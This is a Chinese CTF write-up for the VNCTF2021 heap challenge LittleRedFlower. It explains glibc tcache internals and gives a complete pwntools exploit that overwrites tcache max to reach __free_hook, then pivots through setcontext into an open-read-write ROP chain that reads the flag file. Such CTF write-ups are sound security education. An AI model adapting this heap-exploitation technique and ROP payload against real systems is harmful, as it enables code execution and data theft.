-
-
[原创]【VNCTF2021】LittleRedFlower
-
2022-4-28 18:57 7549
-
题目:buuoj上可搜
前置知识
tcache是如何取堆块的
首先会通过csize2tidx函数算出输入的size对应的idx,判断idx是否比tcache max小,小的话去检测[top+idx * 2](counts)是否为0。如果不为0就拿出[top+idx * 8]然后返回
关于csize2tidx
还是看汇编来得快,glibc的源码太难看了
0x1530是我们输入的size,shr指令是二进制下右移4位,等价于十六进制右移1位
对于counts的检测
关于通过idx寻找取出堆块的地址
r8是取出的chunk的地址
从后面的ret前的指令也可以看出,r8就是我们取出的堆块的地址
题解
glibc版本
2.30-2.2
保护
沙箱保护
ida
主要的功能有任意地址写1字节,任意堆地址写8字节,申请一个可写的堆块并且free它
gift
白给的libc
思路
主要就是打tcache max,并且控制indx指向的位置,使得申请出来的可写堆块为free_hook,然后配合mov rdx,[rdi+8]的gadget和setcontext+61以及orw直接打通
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 | from pwn import * from LibcSearcher import * from pwnlib.util.iters import mbruteforce from hashlib import sha256 import base64 context.log_level = 'debug' ##context.terminal = ["tmux", "splitw", "-h"] context.arch = 'amd64' context.os = 'linux' def proof_of_work(sh): sh.recvuntil( " == " ) cipher = sh.recvline().strip().decode( "utf8" ) proof = mbruteforce( lambda x: sha256((x).encode()).hexdigest() = = cipher, string.ascii_letters + string.digits, length = 4 , method = 'fixed' ) sh.sendlineafter( "input your ????>" , proof) ##r = remote("chuj.top", 51904) ##proof_of_work(r) libc = ELF( './libc.so.6' ) r = process( './pwn' ) def z(): gdb.attach(r) def read_byte(add,char): r.sendafter( 'You can write a byte anywhere' ,p64(add)) r.sendafter( 'And what?' , str (char)) def write_near_heap(offset,con): r.sendlineafter( "Offset:" , str (offset)) r.sendafter( "Content:\n" ,con) def make_room(size,con): r.sendafter( "size:" , str (size)) r.sendafter( ">>" ,con) ## recv_libc r.recvuntil( 'GIFT: ' ) libcbase = int (r.recvline()[: - 1 ],base = 16 ) - 0x1eb6a0 log.success( 'libcbase:' + hex (libcbase)) ## set tcache_max = libcbase + 0x1ea2d0 free_hook = libcbase + libc.sym[ '__free_hook' ] setcontext = libcbase + libc.sym[ 'setcontext' ] mov_rdx_call = libcbase + 0x154b20 ##0x0000000000154b20: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; pat = libcbase + 0x28ff4 #pop rax; ret; pdt = libcbase + 0x26bb2 #pop rdi; ret; pst = libcbase + 0x2709c #pop rsi; ret; pd12t = libcbase + 0x11c3b1 #pop rdx; pop r12; ret; syscall = libcbase + 0x66199 #syscall; ret; ret = libcbase + 0x256b9 ## change_tcache_max read_byte(tcache_max + 7 , 1 ) ## write_sth_near_the_heap write_near_heap( 0x830 ,p64(free_hook)) ##orw orw = p64(pat) + p64( 2 ) + p64(pdt) + p64(free_hook + 0x10 ) + p64(syscall) + \ p64(pat) + p64( 0 ) + p64(pdt) + p64( 3 ) + p64(pst) + p64(free_hook + 0xb0 ) + p64(pd12t) + p64( 0x50 ) + p64( 0 ) + p64(syscall) + \ p64(pat) + p64( 1 ) + p64(pdt) + p64( 1 ) + p64(pst) + p64(free_hook + 0xb0 ) + p64(pd12t) + p64( 0x50 ) + p64( 0 ) + p64(syscall) + p64( 0xdeadbeef ) ## make room pd = p64(mov_rdx_call) + p64(free_hook - 0x8 ) + './flag' .ljust( 8 , '\x00' ) + p64(setcontext + 61 ) pd = pd.ljust( 0x98 , '\x00' ) pd + = p64(free_hook + 0xa8 ) pd + = p64(ret) pd + = orw z() make_room( 0x1490 ,pd) r.recvuntil( 'flag' ) flag = 'flag' + r.recv() print (flag) r.interactive() |
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
最后于 2022-6-26 20:47
被Nameless_a编辑
,原因:
赞赏
他的文章
看原图